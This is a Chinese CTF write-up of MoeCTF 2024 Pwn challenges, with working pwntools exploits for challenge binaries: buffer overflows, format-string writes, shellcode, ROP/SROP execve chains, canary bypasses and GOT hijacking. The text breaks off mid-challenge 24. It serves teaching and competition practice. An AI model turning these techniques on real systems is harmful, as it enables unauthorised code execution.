2024-MOECTF-Pwn

引言:

2024年MoeCTF-Pwn方向复健......

2 Not Enough Time

很基础的pwntools使用,链接远程服务是计算算式。

只要接受远程的算式然后算出来再发回去就好了,需要注意的就是有的算式可能是小数,正数的小数要向下取整,负数也需要向下取整,即-3.6需要发送-4

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from wstube import websocket
import math

# context(arch = "amd64", log_level = "debug")

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/yPC0muu0Vi9OKlVsJTQPl?port=9999")

p.recvline()
p.recvline()

for i in range(2):
to_do = p.recvuntil(b"=")[:-1]
payload = str(round(eval(to_do.decode())))
p.sendline(payload)

p.recvline()

while(1):
to_do = p.recvuntil(b"=")[:-1].replace(b"\n", b"")
log.info(to_do)

payload_float = eval(to_do.decode())
payload = str(math.floor(eval(to_do.decode())))

log.info(payload)
log.info(payload_float)

p.sendline(payload)

p.interactive()

flag: moectf{4RltHM3TlC_Is_nOt-MaTH3matICS16b02bc}

3 no_more_gets

IDA查看有一个后门函数,没开PIE,有gets溢出点。

常规ret2test,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from wstube import websocket

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/ONk1pErygtYAgk3qf4Nkt?port=9999")
# p = process("./lockedshell")
elf = ELF("./lockedshell")

context.arch = "amd64"
context.log_level = "debug"

p.recv()
pause()
p.sendline(b"A" * 88 + p64(0x401193) + p64(0))

p.interactive()

flag: moectf{GeTs_5tR1Ng-thUS_g3T5-FI4G48f2e97f}

4 leak_sth

IDA查看有一个后门函数,开了PIE,有一个格式化字符串漏洞。

代码大意是输入一个数,如果和一个生成的随机数相等,则可以getshell

常规的fmt,先利用printf泄露栈上的v3,再输入和v3相等的数字即可getshell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/i48poa7ytE8JnFGAZdwgf?port=9999")

offset = 7

p.recv()
payload = ("%{}$p".format(offset)).encode()

p.sendline(payload)
p.recvline()
result = eval(p.recvline())
p.info(hex(result))
p.sendline(str(result))

p.interactive()

flag: moectf{yOu_4r3_1uky-oR-Clev3Rcfe1dae2}

5 ez_shellcode

checksec查看文件,发现栈可执行。

IDA查看,给了一个栈上的地址和一个可以任意操控长度的可输入字符串。

那就直接溢出把shellcode布在栈上好了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/SmGD2PtDACoAeKYmSSKLH?port=9999")

size = 0x4000
p.sendlineafter(b"Tell me your age:", str(size))

p.recvline()
p.recvline()
stack_addr = eval(p.recvline().decode())
p.info(hex(stack_addr))
payload = (b"A" * (0x60 + 8) + p64(stack_addr + 0x100)).ljust(0x100, b"\x00")
payload += asm(shellcraft.sh())

p.recvline()
p.sendline(payload)


p.interactive()

flag: moectf{WelI-d0Ne_My_fRieND5a568c95e0}

6 这是什么?libc!

IDA查看,可泄露一个libc的函数地址,也就可以算出libc基址,然后常规pop,bin_sh,system就可以 / one_gadget

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/l311TgUz2znHEZyLjh62s?port=9999")
# p = process("./prelibc")
libc = ELF("./libc.so.6")


p.recvuntil(b"PIE enabled, but no worry.\nI give you an address in libc: ")
libc_base = eval(p.recv(14).decode()) - libc.sym["puts"]
p.info(hex(libc_base))
pop_rdi = libc_base + libc.search(asm("pop rdi; ret;")).__next__()
bin_sh = libc_base + libc.search(b"/bin/sh").__next__()
system = libc_base + libc.sym["system"]

one_gadget = [0x50a47, 0xebc81, 0xebc85, 0xebc88]
# [17] .rodata PROGBITS 00000000001bd000 001bd000
p.recv()
payload = b"A" + p64(libc_base + 0x1bd000 + 0x78) + p64(libc_base + one_gadget[0])
# pause()
p.sendline(payload)

p.interactive()


需要注意的是要把rbp控到一个最好附近都是可读可写的地方,这样不管压栈还是弹栈,内部函数的地址读写都不会出现问题。

flag: moectf{5o-mucH_ExpIoiTable-ln-ll6C1d5c87f}

7 这是什么?shellcode!

这题IDA F5会出点问题,没关系直接看汇编就行

常规shellcode,连检查都没有

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/H1DEjtScGhOqZfZ9DTkWO?port=9999")
# p = process("./prelibc")

p.recv()
payload = asm(shellcraft.sh())
p.sendline(payload)

p.interactive()

flag: moectf{GetSh31L-NEvER-5o_e45Y3070a658b}

8 这是什么?random!

IDA查看程序,看起来是一个随机数预测,上面框起来的部分用timer的day作为种子,所以很好预测,可以绕过。

后面的预测部分可以不管,因为输错了也不会exit,之后就可以很丝滑的输出flag了。

所以我们需要解决的就是上面的0xa次预测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
time_t timer = time(0);
struct tm *v3 = localtime(&timer);
srandom(v3->tm_yday);

for(int i = 0 ; i < 0xa ; i++){
printf("%ld,", random());

}
return 0;
}

输出0xa次的随机数并记录,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/5mGwaBpfPkuYbz6NjAEjg?port=9999")
# p = process("./prerandom")

rand = [666013448,768862621,1035996543,271022445,1992279851,457888285,9828597,2035788471,1569542676,1054662629]

for i in range(0xa):
p.sendlineafter(b"Guess a five-digit number I'm thinking of\n> ", str(rand[i] % 90000 + 10000))

p.sendlineafter(b"Guess a five-digit number I'm thinking of\n> ", str(1))

p.interactive()

flag: moectf{RANdoM-num6Ers-4re-PreD1cTA6I36c63c9}

9 flag_helper

考mmap的参数传递:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/NkpYPianFkRCkvf6KxdAX?port=9999")


p.sendlineafter(b'>',b'4')
p.sendlineafter(b'>',b'./flag')
p.sendlineafter(b'>',b'0')
p.sendlineafter(b'>',b'7')
p.sendlineafter(b'>',b'34')
p.sendlineafter(b'>',b'5')

p.interactive()

flag: moectf{Fll3_dEScRlPT0R-l5_Pr3d1ct4blE27d5c2}

10 这是什么?GOT!

环境问题,暂时没通 。

11 NX_on!

感觉是程序环境有点问题,j_memcpy一直跳不进去,不知道什么情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

# p = websocket("wss://ctf.xidian.edu.cn/api/traffic/OoMhVpkJtqDtQK14IvBWW?port=9999")
p = process("./pwn")


canary_t = b"A" * 25

p.sendafter(b"Your id?", canary_t)
p.recvuntil(canary_t)
canary = u64(p.recv(7).rjust(8, b"\x00"))
elf = ELF("./pwn")

p.info(hex(canary))

payload = b''

payload += b"A" * 24
payload += p64(canary)
payload += b"A" * 8
payload += p64(0x000000000040a40e) # payloadopayload rsi ; ret
payload += p64(0x00000000004e3940) # @ .data
payload += p64(0x00000000004508b7) # payloadopayload rax ; ret
payload += b'/bin//sh'
payload += p64(0x0000000000452e15) # mov qword payloadtr [rsi], rax ; ret
payload += p64(0x000000000040a40e) # payloadopayload rsi ; ret
payload += p64(0x00000000004e3948) # @ .data + 8
payload += p64(0x0000000000445650) # xor rax, rax ; ret
payload += p64(0x0000000000452e15) # mov qword payloadtr [rsi], rax ; ret
payload += p64(0x000000000040239f) # payloadopayload rdi ; ret
payload += p64(0x00000000004e3940) # @ .data
payload += p64(0x000000000040a40e) # payloadopayload rsi ; ret
payload += p64(0x00000000004e3948) # @ .data + 8
payload += p64(0x000000000049d12b) # payloadopayload rdx ; payloadopayload rbx ; ret
payload += p64(0x00000000004e3948) # @ .data + 8
payload += p64(0x4141414141414141) # payloadadding
payload += p64(0x0000000000445650) # xor rax, rax ; ret
payload += p64(0x00000000004508b7) # pop rax
payload += p64(0x3b)
payload += p64(0x0000000000402154) # syscall
payload = payload.ljust(256, b"\x00")
p.info(hex(len(payload)))
p.sendafter(b"Your real name?\n", payload)
p.sendlineafter(b"give me the size of your real name , 0 means quit\n", str(-1))

p.interactive()

12 这是什么?32-bit!

IDA查看,有一个vuln函数有一个溢出点

一个backdoor函数,给了execve,但是给的是错误的命令。

查看字符串,该有的都有

常规32位rop,传参的时候要注意返回地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/wpKDKtDIBhevXOFw2SY4H?port=9999")
# p = process("./backdoor")
elf = ELF("./backdoor")

padding = b"A" * (36 + 4 + 4 + 1)
payload = b""

payload += padding
payload += p32(elf.plt["execve"])
payload += p32(elf.sym["main"])

payload += p32(0x0804A011)
payload += p32(0) * 2
p.recv()
p.sendline(payload)
# data:0804C030

p.interactive()

flag: moectf{8aCk_to_THE_g00D_0ld_d4Y5abd08649}

13 Moeplane

一个简单的fuzz,给了一张图片,表示这个结构体里面的成员变量:

image-20241007003445301

连接远程看看,好像背景是一个空难,然后有四个引擎。我们可以通过adjust去手动调引擎的动力,但是这些引擎会随着时间而逐渐崩溃。

adjust engine thrust选项接受两个参数:

  • 引擎的序号
  • 要调整的动力值

这里限制了动力值只能0~100

根据上面的图片可能会有数组反向溢出。

试验一下,把-12偏移的位置改成30.

成功了,真的有这个漏洞。那接下来只要算好偏移逐字节改掉就好了。

但是还有一个问题,就是我们只能改0~100的数字,如果我们要改0xf1这种有字符的就不行了。

后来发现那个target的值就是0x1020304050

真好,都不用费劲了,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/9CtVFdIvhycESYKLEo7ep?port=9999")

p.recvuntil(b"Target: ")
target = eval(p.recvline()[:-1].decode())
p.recv()
p.info(hex(target))
# p.info(hex(138248474624))



for i in range(5):
p.sendline(b"1")
p.recv()
p.sendline(str(-19 + i))
p.recv()
p.sendline(str((target >> (i * 8)) % 0x100))
print(hex((target >> (i * 8)) % 0x100))

p.interactive()

flag: moectf{COmpUtEr_f@1IUrE-w0nT_IeT_y0u_fLy360cd5}

14 LoginSystem

IDA查看,有一个fmt_str漏洞,可以利用它去泄露password。

比较方便,没有开PIE,先把password的地址布在栈上,然后利用%s泄露即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/1ZPqnYwOuH35AlqgGmJIs?port=9999")
# p = process("./pwn")

# 0x404050
# AAAAAAAA-0x7ffd3e690220-(nil)-0x7f150258b887-0x9-0x7f15026b7040-0x7f150268e600-
# 0x7f15025015ad-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70
addr = 0x404050
offset = 8
payload = b""
payload += b"%9$s".ljust(8, b"\x00")
payload += p64(0x404050)


p.recv()
p.sendline(payload)

p.recvuntil(b"Welcome, ")
password = u64(p.recv(8))
p.recv()
p.sendline(p64(password))
# gdb.attach(p)

p.interactive()

flag: moectf{0H_you_CaN_byP4SS_ThE_P4ssw0rd1449ada}

15 Catch_the_canary!

简单的scanf输入跳过 + 爆破 + canary绕过

查看程序,程序中提供了一个后门函数帮助getshell

main函数里面最下面有一个溢出点,第一次输入可以用来泄露canary, 第二次输入可以跳转到后门函数。

但在此之前main函数里面还加了几层限制。

  • 第一步是让输入一个数和一个随机数校验,但观察到有一个while循环,可以无限次输入。还观察到随机数是有范围的,(对0x2345取余)所以这里进行一个简单的爆破即可。

  • 第二步也是一个校验,需要对v9数组里面的元素赋值,赋值之后要检查和原来的值是否一样,这里用一个小trick跳过就好了。

    scanf函数在输入整形数时。如果输入+,-等符号会跳过本次输入。

  • 第三步需要比较v10是否等于一个数,上面的scanf实际上是有一个溢出的,数组只有两个元素可以通过下标溢出到v10。只需要再第三次输入的时候把那个数输进去就好。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/wkkFXsO3xlIEOEepIUNoc?port=9999")
# p = process("./mycanary")
elf = ELF("./mycanary")
p.recv()
for i in range(0x2345):
p.sendline(str(i + 16768186))
if b"Cage" in p.recv():
break
# p.recv()
p.sendline("+")
p.sendline("+")
p.sendline(str(195874819))

p.recv()

payload = b""
payload += b"A" * (24)
p.sendline(payload)
p.recvuntil(payload + b"\n")
canary = p.recv(7).rjust(8, b"\x00")

payload = b""
payload += b"A" * 24
payload += canary
payload += b"A" * 8
payload += p64(0x4012C9)
p.recv()
p.sendline(payload)
p.interactive()

flag: moectf{tHRe3-b@siC_W4Ys-For-C@nARY_bYPa5S1ng2a63}

16 shellcode_revenge

IDA查看程序,加了沙箱ban了system,然后还有一堆的函数。一个个看。

在admin log中会对pwd进行一次随机初始化(仅进行一次,后续运行admin log不会初始化),需要我们输入密码,才能把level提升到1。

同时我们观察到pwd是作为全局变量的,create函数中有一个负数溢出,我们可以直接把地址溢出到pwd的地址处,读写覆盖。

覆盖之后我们就可以调用operator函数去注入shellcode了。

但是operator里面有对shellcode长度的限制。没关系,我只需要0xA字节就可以实现shellcode的覆写。

也算是这个月见的新题了,之前在校巴上玩shellcode_master学到的。

我们看这段汇编,call rdx指令就是调用shellcode的,call指令会将返回地址压栈,就是0x1785

所以我们可以在shellcode里面把这个地址pop出来,获取到程序的真实地址,之后控一下rdx寄存器,再跳转到0x175d就可以完成shellcode的重写。这段shellcode利用pop | push | jmp操作的话最短可以到0xA的长度。

1
2
3
4
5
6
7
8
9
# ban execve
offset = 0x1785-0x175d
shell_read = """
pop rbx
sub rbx, {}
pop rdx
jmp rbx
""".format(offset)

关于控rdx寄存器:因为这里一般的思路是push一个数,然后再poprdx。但是这样的话达不到最小的长度利用。我们可以通过动态调试看看poprbx之后栈顶数据是啥,如果很大的话不如直接poprdx,又节省空间又省事。

覆写shellcode,注意到程序加了沙箱,所以需要用orw绕过。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

# p = websocket("wss://ctf.xidian.edu.cn/api/traffic/ZiI1FhlbA2BP4mWhEgntg?port=9999")
p = process("./pwn")

# ban execve
offset = 0x1785-0x175d
shell_read = """
pop rbx
sub rbx, {}
pop rdx
jmp rbx
""".format(offset)

flag_qword = u64(b"flag".ljust(8, b"\x00"))

shell_orw = """
mov rbx, {}
push rbx
mov rcx, rsp

mov rax, 2
mov rdi, rcx
mov rsi, 0
mov rdx, 0
syscall

mov rdi, 3
mov rsi, rsp
sub rsi, 0x100
mov rdx, 0x50
mov rax, 0
syscall

mov rdi, 1
mov rax, 1
mov rdx, 0x50
mov rax, 1
syscall
""".format(flag_qword)

p.recv()
p.sendline(str(3))
p.recv()
p.sendline(str(-8))
p.recv()
p.sendline(p32(1))


p.recv()
p.sendline(str(4))
p.recv()
p.sendline(asm(shell_read))

p.sendline(asm(shell_orw))

p.interactive()

flag: moectf{g00D_J0b-you-aRe-S0-cIEVeR41bfaabd}

17 Pwn_it_off!

IDA查看程序

beep函数会进行不定次数的v3初始化,每次初始化都是随机的。

之后我们需要绕过voice_pwd, num_pwd两次验证,就能拿到flag

很明显在进行验证之前并没有进行栈的清理,导致之前的数据还在,而beep函数开的栈是最大的,还会将v3给输出出啦。

所以我们可以利用beep函数的脏数据绕过voice_pwd,通过voice_pwd的\x00截断绕过strcmp,布置脏数据给num_pwd使用。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/9kVIEvUd1GcUiY1Yzbwil?port=9999")
# p = process("./alarm")

# int v2; // [rsp+0h] [rbp-50h]
# char v3[62]; // [rsp+4h] [rbp-4Ch] BYREF
# _WORD v4[7]; // [rsp+42h] [rbp-Eh] BYREF

# *(_QWORD *)&v4[3] = __readfsqword(0x28u);

v3_pos = -0x4c
s2_pos = -0x30
v2_pos = -0x20
v1_pos = -0x18

num_standard = 0x1869e

while (1):
load_ = p.recvline()
if b"[Error]" not in load_:
origin_load = load_
else:
break

voice_pass = origin_load[s2_pos - v3_pos : s2_pos - v3_pos + 0xf] + b"\x00"

# pause()

p.sendlineafter(b"[Info] Speak out the voice password.\n", voice_pass + b"\x9e\x86\x01\x00\x00\x00\x00")

p.sendlineafter(b"[Info] Input the numeric password.\n", str(num_standard))

p.interactive()

flag: moectf{D0n't_FORgeT-TO_53t-p@5swORd-@gA1N2fdcc0}

18 Return 15

IDA查看,main函数有一个溢出点

还有两个函数:

系统调用号0xfsyscall | retgadget,常规srop + ret2syscall。

同时发现程序有给字符串/bin/sh

通过srop调整寄存器,用syscall来触发系统中断,getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/huqBAUUdo4KMyUVDP6SxV?port=9999")
# p = process("./pwn")
rax_set = 0x000000000040110A
syscall_ret = 0x000000000040111C
sh_address = 0x402008


frame = SigreturnFrame()
frame.rax = 59
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret



payload = b""
payload += b"A" * (32 + 8)
payload += p64(rax_set)
payload += p64(syscall_ret)
payload += bytes(frame)


p.sendline(payload)

p.interactive()

flag: moectf{Y0U-C@ughT_Th3_lS-and-5ROp!e39512b6}

19 VisibleInput

可视化shellcode + 沙箱。

找时间想自己写一写,现在不会。

20 System_not_Found

很有意思的一个题。

main函数里面有两个漏洞点,可以通过buf溢出去覆盖nbytes,来达到溢出v6的目的。

但是他会在输入之后手动在字符串后面加上\x00,也就是没办法通过puts函数泄露栈上数据。

程序没有开PIE,在gadget里面并没有找到pop rdi

但是很有意思的一个点,通过动态调试可以发现,在main函数结束完最后一个printf返回的时候,rdi在printf函数里被设置成了一个指针,指向一个名为funlockfile的libc函数。

通过libc的解析可以发现这个函数原名为_IO_funlockfile,我们可以直接通过这个指针去泄露_IO_funlockfile的地址,从而达到泄露libc基址的目的。

之后再返回来vuln函数实现一次华丽的getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/N5ZNagpcEpj7S0O9FYdPW?port=9999")
# p = process("./dialogue", env = {"LD_PRELOAD" : "./libc.so.6"})

elf = ELF("./dialogue")
libc = ELF("./libc.so.6")

p.recv()
payload = b"A" * 16 + b"\x7f" + b"1"
p.sendline(payload)
pause()
payload = b"A" * (0x28 + 8)
payload += p64(elf.plt["puts"])
payload += p64(elf.sym["main"])

p.sendlineafter(b"Where do you come from?\n> ", payload)
p.recvline()
funlockfile = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = funlockfile - libc.sym["_IO_funlockfile"]
one_gadget = [0x50a47, 0xebc81, 0xebc85, 0xebc88]

p.info(hex(libc_base))

p.recv()
payload = b"A" * 16 + b"\x7f" + b"1"
p.sendline(payload)

payload = b"A" * (0x28)
payload += p64(0x404040 + 0x100)
payload += p64(one_gadget[1] + libc_base)
p.sendlineafter(b"Where do you come from?\n> ", payload)

p.interactive()

flag: moectf{That's-4-b3@UTifuI_SHEIL78009f21}

21 Read_once_twice!

IDA查看,有一个后门函数,有一个vuln函数,一个溢出点,但是开了canary

常规思路,第一次泄露canary,第二次跳到后门函数。但是观察到函数开了PIE,这里也只有8个字节的溢出,所以必须跳回vuln函数不能只输入两次。

vuln函数是被main程序调用的, 看main函数里面这两句代码的地址关系:

返回地址0x130c, call vuln函数地址0x1307, 可以通过返回地址的单字节溢出,覆盖返回地址从0c07,实现vuln函数的重调。

重调之后第一次输入泄露返回地址,第二次输入直接跳到后门函数。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/3cwWspMwUN5FeCzyoae1d?port=9999")
# p = process("./twice")

elf = ELF("./twice")

ret_addr_rel = 0x000000000000130C
call_vuln = 0x0000000000001307

payload = b"a" * 25
p.sendafter(b"What can you do when almost all protections are turned on?\n", payload)

p.recvuntil(payload)
canary = u64(p.recv(7).rjust(8, b"\x00"))


payload = b"A" * 24
payload += p64(canary)
payload += b"A" * 8
payload += b"\x07"

p.sendafter(b"If I give you one more chance...\n", payload)

# pause()

payload = b"A" * 0x28

p.sendafter(b"What can you do when almost all protections are turned on?\n", payload)
p.recvuntil(payload)
ret_addr = u64(p.recv(6).ljust(8, b"\x00"))
target_addr = ret_addr - ret_addr_rel + 0x11c6
payload = b"A" * 24
payload += p64(canary)
payload += b"A" * 8
payload += p64(target_addr)

p.sendafter(b"If I give you one more chance...\n", payload)

p.interactive()

flag: moectf{You-h4ve_Not_onLy-OnE_mORe_CH4ncE38f149}

22 Where is fmt?

简单的非栈上fmt

一个vuln函数里面给了三次fmt利用机会。考虑到buf是非栈上的,也就是要从栈里面找现成的数据。

gdb调试一下,看栈里的数据,发现有一条链子可以利用。

1
2
3
4
5
6
7
8
# 00:0000rsp 0x7fffffffdc20 —▸ 0x40129e (main) ◂— endbr64
# 01:0008│-008 0x7fffffffdc28 ◂— 0x3004011fa
# 02:0010rbp 0x7fffffffdc30 —▸ 0x7fffffffdc40 ◂— 1
# 03:0018│+008 0x7fffffffdc38 —▸ 0x4012ba (main+28) ◂— mov eax, 0

# 09:0048│+038 0x7fffffffdc68 —▸ 0x7fffffffdd58 —▸ 0x7fffffffe007 ◂— '/home/wingee/Pwn&Reverse/moe/22/pwn'

# 27:0138r12 0x7fffffffdd58 —▸ 0x7fffffffe007 ◂— '/home/wingee/Pwn&Reverse/moe/22/pwn'

就是这个0xdd58->0xe007->....

这两个指针都是位于栈上的,并且前一个指针指向后一个指针。我们可以通过fmt利用前一个指针去修改后一个的指针值,让他去指向我们想要去修改的数据的地址,进而完成任意地址写。

所以本题的思路一共分三步:

  • 利用第一次的fmt泄露rbp指向的值,泄露栈地址。根据这个栈地址,算出指向vuln函数返回地址的栈指针。
  • 利用第二次的fmt,通过0xdd58的栈指针修改后一个指针指向vuln函数的返回地址。
  • 利用第三次的fmt,通过后一个指针,修改返回地址为backdoor函数地址。(注意栈对齐,实际上跳过压栈的语句)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/Dg9V4W1UdTMXEnoi1GSzN?port=9999")
# p = process("./pwn", env = {'LD_PRELOAD' : "./libc.so.6"})

# 00:0000│ rsp 0x7fffffffdc20 —▸ 0x40129e (main) ◂— endbr64
# 01:0008│-008 0x7fffffffdc28 ◂— 0x3004011fa
# 02:0010│ rbp 0x7fffffffdc30 —▸ 0x7fffffffdc40 ◂— 1
# 03:0018│+008 0x7fffffffdc38 —▸ 0x4012ba (main+28) ◂— mov eax, 0

# 09:0048│+038 0x7fffffffdc68 —▸ 0x7fffffffdd58 —▸ 0x7fffffffe007 ◂— '/home/wingee/Pwn&Reverse/moe/22/pwn'

# 27:0138│ r12 0x7fffffffdd58 —▸ 0x7fffffffe007 ◂— '/home/wingee/Pwn&Reverse/moe/22/pwn'

rbp_offset = 8
backdoor = 0x401205

payload = "%{}$p".format(rbp_offset)

# gdb.attach(p)

p.sendlineafter(b"\nYou have 3 chances.\n", payload)
rbp_addr = eval(p.recv(14).decode()) - 0x10
target_addr = rbp_addr + 8
offset_2 = rbp_offset + (0x68 - 0x30) // 8
offset_3 = rbp_offset + (0xdd58 - 0xdc30) // 8

payload = "%{}c%{}$hn".format(target_addr % 0x10000, offset_2)

p.sendlineafter(b"\nYou have 2 chances.\n", payload)

payload = "%{}c%{}$hn".format(backdoor % 0x10000, offset_3)

p.sendlineafter(b"\nYou have 1 chances.\n", payload)

p.interactive()

flag: moectf{c0NGr4TU1aT1ONs_You-f0Und-it5f97513}

23 Got it!

IDA查看,vuln函数支持一个对saves数组实现增改计算的功能。

观察calc函数,发现没有对下标负数的检查,可以实现任意地址的读写。

checksec查看程序, 发现是partial Relro,可以修改GOT表。

那就是常规GOT表劫持,修改puts的GOT表为system,之后调用show_saves的时候就可以将save里的字符串当做命令传输给system。

这个题钻了好久牛角尖,非要把puts的GOT表里面的地址泄露出来,没必要啊,只要将puts的GOT表里面的地址减去它在libc里面的system函数的偏移就能实现劫持。思维定式了属于是。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/IBdl5ngrvh0PoZnqHNpxH?port=9999")

# p = process("./pwn", env = {"LD_PRELOAD" : "./libc.so.6"})
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

saves_addr = 0x4080
offset_to_system = libc.sym["system"] - libc.sym["puts"]


add = 1
sub = 2
mul = 3
div = 4
back = 5

def calc(offset, operator, operand):
p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n", str(1))
p.sendlineafter(b"Which archive do you want to use?\n", str(offset))
p.sendlineafter(b"> ", str(operator))
if operator == back:
return
p.sendlineafter(b"Operand: ", str(operand))
p.sendlineafter(b"> ", str(5))

def show_saves():
p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n", str(2))

def leak_saves():
p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n", str(3))

for i in range(16):
calc(i, add, u64(b"/bin/sh\x00"))

show_saves()

offset_to_puts_got = int((saves_addr - elf.got["puts"]) / 8)
offset_to_now_save = 16
offset_be_now_puts_got = offset_to_puts_got * 8 + 16 * 8


calc(offset_to_now_save, sub, offset_be_now_puts_got)
p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n", str(1))
p.sendlineafter(b"Which archive do you want to use?\n", str(offset_to_now_save))
p.sendlineafter(b"> ", str(sub))
p.sendlineafter(b"Operand: ", str(offset_be_now_puts_got))
p.sendlineafter(b"> ", str(add))
p.sendlineafter(b"Operand: ", str(offset_to_system))
p.sendlineafter(b"> ", str(back))

p.recv()

p.sendline(str(3))

p.interactive()

flag: moectf{yOU_KNoW-what-i5_p4RtI@L-R3LRo9dd80b}

24 栈的奇妙之旅

IDA查看程序,只给了16个字节的溢出,栈地址不知道,什么都不知道,程序没开PIE,可以溢出之后再跳回来。但是感觉没意义。

还给了一个pop rdi| ret的gadget

常规思路是栈迁移,可以迁到.data段或者.bss段。但我们需要重新在上面布栈,因为之前这些地方是空的。

下面这段代码可以好好利用一下。

1
2
3
4
5
6
7
8
9
10
11
12
# .text:00000000004011E5                 lea     rax, [rbp+buf]
# .text:00000000004011E9 mov edx, 90h ; nbytes
# .text:00000000004011EE mov rsi, rax ; buf
# .text:00000000004011F1 mov edi, 0 ; fd
# .text:00000000004011F6 call _read
# .text:00000000004011FB nop
# .text:00000000004011FC leave
# .text:00000000004011FD retn
lea_addr_read = 0x4011E5
leave_ret = 0x4011FC
call_read_leave_ret = 0x4011F6
pop_rdi = 0x4011C5

我们知道栈迁移是需要连续调用两次leave|ret才能把栈迁到我们想要的地方,但是很明显我们这次就不能只把返回地址覆盖成leave|ret,因为迁过去之后栈是空的。

我们可以利用上面这个read输入来在迁移之前布栈。

通过动态调试可以发现_read函数调用前后rsprbp是不变的。并且输入地址是以rbp为基准的rbp - 0x80处。也就是说我们可以在迁移之前,利用这段代码,实现布栈。

1
2
3
4
5
